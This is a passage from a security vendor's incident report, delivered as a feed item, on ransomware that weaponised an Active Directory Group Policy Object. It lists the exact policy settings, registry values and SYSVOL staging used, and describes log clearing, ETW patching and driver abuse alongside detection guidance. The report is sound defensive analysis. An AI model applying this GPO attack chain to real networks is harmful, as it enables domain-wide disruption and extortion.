Securelist - Information about Viruses, Hackers and Spam https://securelist.com/ Feed generated for Securelist - Information about Viruses, Hackers and Spam http://www.rssboard.org/rss-specification python-feedgen en Fri, 30 Oct 2026 05:50:52 +0000 Fri, 30 Oct 2026 05:50:52 +0000 60 Group Policy hijacked: PAYLOAD ransomware weaponizes Active Directory GPO https://securelist.com/tr/payload-ransomware-via-group-policy/121335/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-800x400.jpg 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image.jpg 2000w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="executive-summary">Executive summary</h2> <p>In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.</p> <p>This case is an example of two converging trends that define <a href="https://securelist.com/state-of-ransomware-in-2026/119761/" rel="noopener" target="_blank">the 2026 ransomware landscape</a>:</p> <ol> <li>Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.</li> <li>Encryptionless extortion. <a href="https://www.security.com/threat-intelligence/ransomware-extortion-epidemic" rel="noopener" target="_blank">Industry telemetry shows</a> extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.</li> </ol> <p>We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.</p> <p>In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.</p> <h2 id="group-policy-as-an-attack-surface">Group Policy as an attack surface</h2> <p>Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.</p> <p>We have already discussed GPO architecture and ways it can be compromised in greater detail <a href="https://securelist.com/group-policies-in-cyberattacks/115331/" rel="noopener" target="_blank">in an earlier blog post</a>. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" rel="noopener" target="_blank">observed</a> Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates <a href="https://www.kaspersky.com/blog/ransomware-group-policies/40877/" rel="noopener" target="_blank">have been documented</a> modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators <a href="https://www.ibm.com/think/x-force/blackcat-ransomware-levels-up-stealth-speed-exfiltration" rel="noopener" target="_blank">have also abused GPOs</a> to create scheduled tasks and deploy ransomware.</p> <p>Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.</p> <h2 id="attack-timeline">Attack timeline</h2> <p>During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:</p> <table> <tbody> <tr> <td><strong>Date</strong></td> <td><strong>Event</strong></td> </tr> <tr> <td>11 April</td> <td><strong>Initial access.</strong> Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.</td> </tr> <tr> <td>13 April</td> <td><strong>GPO authored.</strong> Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.</td> </tr> <tr> <td>13 April</td> <td><strong>SYSVOL staging.</strong> The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.</td> </tr> <tr> <td>13 April</td> <td><strong>Second GPO.</strong> GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.</td> </tr> <tr> <td>13 April</td> <td><strong>Dormancy.</strong> GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.</td> </tr> <tr> <td>13 April</td> <td><strong>Data exfiltration.</strong> Data exfiltration was observed originating from the file servers and several additional systems.</td> </tr> <tr> <td>14 April</td> <td><strong>Detonation.</strong> Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.</td> </tr> <tr> <td>15 April</td> <td><strong>Response.</strong> Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.</td> </tr> <tr> <td>16 April</td> <td><strong>Assessment.</strong> GERT confirms no file encryption, no resident malware, no endpoint persistence.</td> </tr> </tbody> </table> <p>Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.</p> <h2 id="incident-overview">Incident overview</h2> <h3 id="initial-access">Initial access</h3> <p>The entry vector was a compromised valid account (MITRE ATT&amp;CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.</p> <p>Three hypotheses were considered plausible in the context of the attack, in no particular order:</p> <ul> <li>Password spraying or credential stuffing against the SSL VPN portal.</li> <li>Phishing-led credential harvesting.</li> <li>Purchase of pre-compromised credentials from an initial access broker (IAB).</li> </ul> <p>Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).</p> <p>FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — <a href="https://attack.mitre.org/techniques/T1003/006/" rel="noopener" target="_blank">DCSync</a>, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.</p> <h3 id="execution">Execution</h3> <p>Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.</p> <p>We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:</p> <table width="100%"> <tbody> <tr> <td><strong>GPO extension/CSE</strong></td> <td><strong>Setting/path</strong></td> <td><strong>Configured value/resulting action</strong></td> </tr> <tr> <td>Files (Group Policy Preference)</td> <td>Source SYSVOL\hello.txt → Desktop, C:\, D:\</td> <td>Dropped as README-payload.txt (ReadOnly)</td> </tr> <tr> <td>Registry (Computer)</td> <td>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption</td> <td>Welcome to Payload!</td> </tr> <tr> <td>Registry (Computer)</td> <td>HKLM\…\Policies\System\legalnoticetext</td> <td>(ransom demand text)</td> </tr> <tr> <td>Personalization Policy</td> <td>Lock Screen Image</td> <td>\\DC.THECOMPANY.local\sysvol…\payload.jpg</td> </tr> <tr> <td>Desktop Policy (User)</td> <td>Wallpaper path</td> <td>\\DC.THECOMPANY.local\sysvol…\payload.jpg</td> </tr> <tr> <td>Security Settings (GptTmpl.inf)</td> <td>Accounts: Administrator account status</td> <td>Disabled</td> </tr> </tbody> </table> <p>The PAYLOAD GPO enabled the following actions:</p> <ol> <li>Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).</li> <li>Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the <code>legalnoticecaption</code> value to <code>"Welcome to Payload!"</code> and the <code>legalnoticetext</code> to the ransom note text through the “Group Policy Registry” CSE.</li> <li>Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.</li> <li>Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.</li> </ol> <p><div class="post-gallery-wrapper _post _post-4519" data-id="4519"><div class="post-gallery"><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png 754w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-300x159.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-660x350.png 660w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-740x393.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-528x280.png 528w" decoding="async" height="400" sizes="auto, (max-width: 754px) 100vw, 754px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png" srcset="" width="754" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-300x125.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-768x320.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-839x350.png 839w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-740x309.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-671x280.png 671w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-800x334.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2.png 1319w" decoding="async" height="427" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-300x108.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-768x276.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-974x350.png 974w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-740x266.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-779x280.png 779w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-800x288.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3.png 1494w" decoding="async" height="368" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-300x52.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-768x134.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-740x129.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-800x139.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4.png 1532w" decoding="async" height="178" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div></div></div><br/> <strong><em>Settings changed by PAYLOAD GPO</em></strong></p> <p>This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.</p> <h4 id="the-win-firewall-off-gpo">The win Firewall Off GPO</h4> <p>A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.</p> <div class="wp-caption aligncenter" id="attachment_121367-2" style="width: 1267px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png"><img alt="Settings changed by win Firewall Off GPO" aria-describedby="caption-attachment-121367-2" class="size-full wp-image-121367" decoding="async" height="293" sizes="auto, (max-width: 1257px) 100vw, 1257px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png 1257w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-300x70.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-1024x239.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-768x179.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-740x172.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-1201x280.png 1201w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-800x186.png 800w" width="1257" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121367-2">Settings changed by win Firewall Off GPO</p></div> <h4 id="the-one-day-delay-detonation">The one-day delay detonation</h4> <p>The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.</p> <p>We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.</p> <h2 id="forensic-findings">Forensic findings</h2> <p>Initial incident response engagement revealed a number of findings associated with the attack that we share below.</p> <ol> <li><strong>No file encryption</strong><br/> A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.</li> <li><strong>No endpoint persistence</strong><br/> All standard persistence locations were clean: <ul> <li>Scheduled tasks — no malicious tasks</li> <li>Run/RunOnce keys — clean</li> <li>Startup folders (user and system) — clean</li> <li>Services — no malicious service installed</li> <li>WMI event subscriptions — none</li> <li>Boot sector/MBR — unmodified</li> </ul> <p>The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.</p></li> <li><strong>No active malicious processes</strong><br/> Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.</li> <li><strong>Registry timeline analysis</strong><br/> Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:<br/> HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1<br/> HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0<br/> HKLM\…\Group Policy\State\Machine\GPO-List\7<br/> HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1<br/> HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5<br/> The presence of the “Loopback-GPO-List” entry indicates the GPO was processed <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/group-policy/loopback-processing-of-group-policy" rel="noopener" target="_blank">in loopback mode</a>, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.</li> <li><strong>SYSVOL artifacts</strong><br/> Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE: <ul> <li>payload.jpg — the ransom image used for both wallpaper and lock screen.</li> <li>hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.</li> </ul> </li> </ol> <h2 id="detection-engineering">Detection engineering</h2> <p>Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.</p> <ul> <li><strong>Directory service change auditing (DS Access)</strong><br/> Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events: <table> <tbody> <tr> <td width="15%"><strong>Event ID</strong></td> <td><strong>Meaning</strong></td> <td><strong>Hunt focus</strong></td> </tr> <tr> <td>5137</td> <td>A directory service object was created</td> <td>The account that created new <code>groupPolicyContainer</code> objects must be an authorized GPO administrator</td> </tr> <tr> <td>5136</td> <td>A directory service object was modified</td> <td>Changes to <code>gPLink</code> on the domain root or sensitive organizational units; changes to <code>gPCMachineExtensionNames</code>/<code>gPCUserExtensionNames</code>/<code>gPCFileSysPath</code>/<code>versionNumber</code> for all GPOs</td> </tr> <tr> <td>5141</td> <td>A directory service object was deleted</td> <td>GPO deletions (relevant for tamper detection and remediation assessment)</td> </tr> </tbody> </table> <p>A <code>gPLink</code> modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.</p></li> <li><strong>SYSVOL file integrity monitoring</strong><br/> Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.</li> <li><strong>Endpoint policy application telemetry</strong><br/> On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.</li> <li><strong>Missing 5136 events</strong><br/> If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.</li> </ul> <h2 id="anti-forensics-and-recovery-inhibition-capabilities">Anti-forensics and recovery-inhibition capabilities</h2> <p>The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.</p> <p>The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.</p> <h4 id="windows-event-log-clearing">Windows Event Log clearing</h4> <p>Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.</p> <p>Implementation artifacts include:</p> <ul> <li>Runtime loading of wevtapi.dll</li> <li>EvtOpenChannelEnum</li> <li>EvtNextChannelPath</li> <li>EvtClearLog</li> <li>Enumeration of Security, System, Application, and PowerShell logs, and operational channels</li> <li>A command-line option controlling whether log clearing is performed</li> </ul> <p>Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Windows Security Event ID 1102</li> <li>Event logging shutdown or failure events</li> <li>Sudden reductions in event record identifiers</li> <li>Multiple event channels restarting from low record numbers</li> <li>Gaps between endpoint and centrally forwarded telemetry</li> <li>Execution of utilities or APIs associated with log management</li> <li>Direct access to EVTX files (Windows Event Log files) under the Windows event log directory</li> </ul> <p>We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:</p> <ul> <li>Event ID 4688 or Sysmon Event ID 1 for process creation</li> <li>Event ID 4624 for the associated administrative logon</li> <li>EDR process trees</li> <li>PowerShell operational logging</li> <li>Windows Event Forwarding records</li> <li>Privileged access management activity</li> </ul> <p>At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.</p> <h4 id="security-process-and-service-termination">Security process and service termination</h4> <p>PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.<br/> Process and service termination serves several objectives:</p> <ol> <li>Reduce endpoint detection and response visibility.</li> <li>Release file handles so data can be modified.</li> <li>Interrupt backup and recovery services.</li> <li>Prevent databases and enterprise applications from protecting active data.</li> <li>Reduce interference with encryption operations.</li> </ol> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Security agent services changing from running to stopped</li> <li>Event ID 7036 service state changes</li> <li>Event ID 7040 service start type changes</li> <li>Event ID 4688 or Sysmon Event ID 1 for service control utilities</li> <li>Sysmon Event ID 5 for terminated processes</li> <li>EDR health degradation affecting many endpoints</li> <li>Repeated termination attempts against security or backup processes</li> <li>Execution of dedicated process killing utilities</li> </ul> <h4 id="vss-deletion-backup-and-recovery-suppression">VSS deletion, backup and recovery suppression</h4> <p>Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.</p> <p>Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:</p> <ul> <li>Deleting shadow copies, backup catalogs, and hypervisor snapshots</li> <li>Disabling recovery services</li> <li>Modifying boot recovery settings</li> <li>Compromising backup management platforms</li> <li>Deleting or encrypting backup repositories</li> </ul> <p>In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Execution of shadow copy management utilities</li> <li>Backup catalog deletion attempts</li> <li>Recovery configuration changes</li> <li>Backup service termination</li> <li>Mass snapshot deletions</li> <li>Backup administrator logons outside normal maintenance windows</li> <li>Backup retention or immutability changes</li> <li>Backup jobs failing immediately before disruptive activity</li> </ul> <h3 id="ecosystem-relevant-ransomware-techniques">Ecosystem-relevant ransomware techniques</h3> <p>Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.</p> <p>The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.</p> <h4 id="etw-suppression-and-in-memory-patching">ETW suppression and in-memory patching</h4> <p>Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.</p> <p>Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.</p> <p>Reported target functions include <code>EtwEventWrite</code>, <code>EtwEventWriteFull</code>, <code>EtwEventWriteTransfer</code>, and <code>EtwRegister</code>.</p> <p>This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Writable or recently modified executable pages within ntdll.dll</li> <li>Memory protection changes affecting ETW function addresses</li> <li>In-memory code differing from the corresponding clean DLL on disk</li> <li>EDR memory tampering alerts</li> <li>Unexpected calls to memory protection APIs followed by telemetry silence</li> <li>Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources</li> <li>Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring</li> </ul> <p>It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.</p> <p>Memory acquisition is the strongest validation source when process-local ETW patching is suspected.</p> <h4 id="vulnerable-signed-driver-abuse-byovd">Vulnerable signed driver abuse, BYOVD</h4> <p>Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.</p> <p>BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.</p> <p>It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.</p> <h5 